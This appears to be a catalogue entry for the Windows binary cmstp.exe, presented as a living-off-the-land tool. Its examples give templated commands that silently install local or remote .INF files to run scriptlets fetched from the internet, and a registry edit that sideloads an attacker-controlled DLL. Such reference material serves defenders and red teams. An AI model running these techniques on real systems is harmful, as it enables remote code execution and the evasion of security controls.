windows enabled community high v1.0.0

cmstp

Installs or removes a Connection Manager service profile. Located at: C:\Windows\System32\cmstp.exe; C:\Windows\SysWOW64\cmstp.exe.

📋 Live Preview
cmstp
cmstp

Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.command
security.defense-evasion.bypass

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networklow
Disk I/Olow

Examples

Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll. (Execute code hidden within an inf file. Download and run scriptlets from internet.)

cmstp.exe /ni /s {PATH_ABSOLUTE:.inf}

Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll. (Execute code hidden within an inf file. Execute code directly from Internet.)

cmstp.exe /ni /s {REMOTEURL:.inf}

cmstp.exe reads the `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll` registry value and passes its data directly to `LoadLibrary`. By modifying this registry key and setting it to an attack-controlled DLL, this will sideload the DLL via `cmstp.exe`. (Proxy execution of a malicious DLL via registry modification.)

cmstp.exe /nf

Detection

Documentation

cmstp

cmstp is a Windows LOLBin. Installs or removes a Connection Manager service profile. Located at: C:\Windows\System32\cmstp.exe; C:\Windows\SysWOW64\cmstp.exe.

References